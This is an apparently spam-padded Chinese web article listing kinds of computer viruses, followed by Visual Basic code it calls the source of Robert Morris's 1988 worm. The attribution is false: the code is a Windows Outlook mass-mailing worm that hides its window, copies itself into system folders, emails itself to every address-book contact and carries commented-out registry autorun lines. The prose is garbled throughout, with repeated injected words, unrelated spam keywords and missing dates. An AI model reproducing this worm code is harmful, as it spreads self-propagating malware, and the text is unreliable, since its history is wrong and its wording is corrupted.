1.计算机病毒有哪些？
2.1988年RobertMorris释放的病毒病毒首个蠕虫病毒的源代码
计算机病毒有哪些？
引导区电脑病毒
年代中期，最为流行的蠕虫蠕虫电脑病毒是引导区病毒，主要通过软盘在位元磁盘操作系统(DOS)环境下传播。源码源代引导区病毒会感染软盘内的病毒病毒引导区及硬盘，而且也能够感染用户硬盘内的蠕虫蠕虫主引导区(MBR)。一但电脑中毒，源码源代快递查询源码搭建教程每一个经受感染电脑读取过的病毒病毒软盘都会受到感染。
引导区电脑病毒是蠕虫蠕虫如此传播：隐藏在磁盘内，在系统文件启动以前电脑病毒已驻留在内存内。源码源代这样一来，病毒病毒电脑病毒就可完全控制DOS中断功能，蠕虫蠕虫以便进行病毒传播和破坏活动。源码源代那些设计在DOS或Windows3.1上执行的病毒病毒引导区病毒是不能够在新的电脑操作系统上传播，所以这类的蠕虫蠕虫电脑病毒已经比较罕见了。
文件型电脑病毒
文件型电脑病毒，源码源代满贯捕鱼源码又称寄生病毒，通常感染执行文件(.EXE)，但是也有些会感染其它可执行文件，如DLL,SCR等等...每次执行受感染的文件时，电脑病毒便会发作：电脑病毒会将自己复制到其他可执行文件，并且继续执行原有的程序，以免被用户所察觉。抽屉网源码
复合型电脑病毒
复合型电脑病毒具有引导区病毒和文件型病毒的双重特点。
宏病毒
宏病毒专门针对特定的应用软件，可感染依附于某些应用软件内的宏指令，它可以很容易透过电子邮件附件、软盘、文件下载和群组软件等多种方式进行传播如MicrosoftWord和Excel。宏病毒采用程序语言撰写，棋牌源码 网站例如VisualBasic或CorelDraw，而这些又是易于掌握的程序语言。宏病毒最先在年被发现，在不久后已成为最普遍的电脑病毒。
特洛伊/特洛伊木马
特洛伊或特洛伊木马是一个看似正当的程序，但事实上当执行时会进行一些恶性及不正当的活动。特洛伊可用作黑客工具去窃取用户的狼来啦源码密码资料或破坏硬盘内的程序或数据。与电脑病毒的分别是特洛伊不会复制自己。它的传播技俩通常是诱骗电脑用户把特洛伊木马植入电脑内，例如通过电子邮件上的游戏附件等。
蠕虫病毒
蠕虫是另一种能自行复制和经由网络扩散的程序。它跟电脑病毒有些不同，电脑病毒通常会专注感染其它程序，但蠕虫是专注于利用网络去扩散。从定义上，电脑病毒和蠕虫是非不可并存的。随着互联网的普及，蠕虫利用电子邮件系统去复制，例如把自己隐藏于附件并于短时间内电子邮件发给多个用户。有些蠕虫(如CodeRed)，更会利用软件上的漏洞去扩散和进行破坏。
其他电脑病毒/恶性程序码
恶意程序通常是指带有攻击意图所编写的一段程序。这些威胁可以分成两个类别:需要宿主程序的威胁和彼此独立的威胁。前者基本上是不能独立于某个实际的应用程序、实用程序或系统程序的程序片段；后者是可以被操作系统调度和运行的自包含程序。也可以将这些软件威胁分成不进行复制工作和进行复制工作的。
年RobertMorris释放的首个蠕虫病毒的源代码
在年，Robert Morris释放了首个蠕虫病毒，其源代码的片段如下：
```vb
Sub Main()
'TaskVisible。App.TaskVisible = False
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
Location = App.Path & "\" & App.EXEName & "肢扮.exe"
Location2 = App.Path & App.EXEName & ".exe"
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count > 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = Merry.Body
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
End If
If Msg.To > "" Then
Merry.Send
End If
Next
Beep
End If
Next
End If
Dim RegSet
Set RegSet = CreateObject("wscript.shell")
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"
End Sub
```
请注意，由于蠕虫病毒是恶意软件，其传播和操作可能导致严重的安全风险。这段代码仅供教育和研究目的，绝不应在实际环境中运行。
